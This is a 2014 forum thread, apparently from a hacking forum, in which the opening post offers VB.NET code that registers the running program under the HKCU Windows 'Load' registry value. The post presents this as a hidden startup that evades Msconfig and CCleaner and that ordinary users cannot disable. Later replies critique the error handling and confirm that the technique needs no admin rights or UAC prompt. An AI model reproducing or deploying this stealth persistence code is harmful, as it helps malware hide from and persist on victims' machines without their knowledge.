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Thread: [Hidden Startup | Hidden from Msconfig and CCleaner](#)

Voidlight - August 25, 2014, 8:37 am

Here is a hidden startup method that can bypass Msconfig and CCleaner

```
Code Private Sub Startup()  
    On Error Resume Next  
    Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows  
NT\CurrentVersion\Windows", True).SetValue("Load",  
Process.GetCurrentProcess.MainModule.FileName)  
End Sub
```

Any normal user will not know how to disable this startup.

Enjoy.

zeroexp - August 25, 2014, 9:07 am

This question may be stupid, but why do you use a function instead of a sub :-?

LordCoder - August 25, 2014, 9:21 am

And why do you use On Error Resume Next? That's the worst idea ever.

Voidlight - August 25, 2014, 9:21 am

(Aug 25, 2014 09:07 AM)Wops Wrote: [\[CITE\]](#) This question may be stupid, but why do you use a function instead of a sub :-?

Your right lol.. my bad will fix this now.

imi-tat0r - August 25, 2014, 9:22 am

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Voidlight - August 25, 2014, 9:25 am

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No problem, and if you do use it, don't bother crediting :P

Cairns - August 25, 2014, 10:02 am

On error resume next... VB6 shit, leave that behind.

Before adding a try/catch, try to think about the problems that could occur whilst that code is ran, solve them, and add a try/catch to catch an error you have not already solved.

SIM-1456245 - August 25, 2014, 12:11 pm

Wait wouldn't that ask for Admin + UAC ?

Marwix - August 25, 2014, 12:22 pm

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Cairns - August 25, 2014, 12:34 pm

(Aug 25, 2014 12:22 PM)Tsukiko Tsutsukakushi Wrote: [\[CITE\]](#)

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zeroexp - August 25, 2014, 12:39 pm

(Aug 25, 2014 12:34 PM)Cairns Wrote: [\[CITE\]](#) Can you care to explain why you are exiting the sub routine during your catch? lol

Yeah i noticed that too, no point really since there is no other code in the sub.

Marwix - August 25, 2014, 12:39 pm

(Aug 25, 2014 12:34 PM)Cairns Wrote: [\[CITE\]](#) Can you care to explain why you are exiting the sub routine during your catch? lol

You don't have to exit the sub. You can just write 'Msgbox("Coud not add reg value")' in the exception statement as well but I'm trying to let him understand how I mean by using Exit sub.

OP, the exception can be anything but I prefer having a msgbox that appears if an error occurs.

How would you do it Cairns?

I'm pretty sure that I haven't done anything wrong here ?

Voidlight - August 25, 2014, 8:37 pm

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VirinomTR - August 26, 2014, 2:49 am

(Aug 25, 2014 08:37 PM)S??c?d? S?I??c? Wrote: [\[CITE\]](#) Really great ideas guys. 10/10 would implement.

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imi-tat0r - August 26, 2014, 7:19 am

for HKCU not i guess and for HKLM you will need Admin rights. I don't know about UAC

\$lick - August 26, 2014, 7:22 am

(Aug 26, 2014 02:49 AM)VirinomTR Wrote: [\[CITE\]](#) What about admin rights and uac ? Are they

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Voidlight - *August 26, 2014, 7:56 am*

(Aug 26, 2014 07:22 AM)?Lazy™ Wrote: [\[CITE\]](#) Current user doesn't need admin rights (That I'm aware of anyway)

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This is true, there should be no UAC or admin rights for this.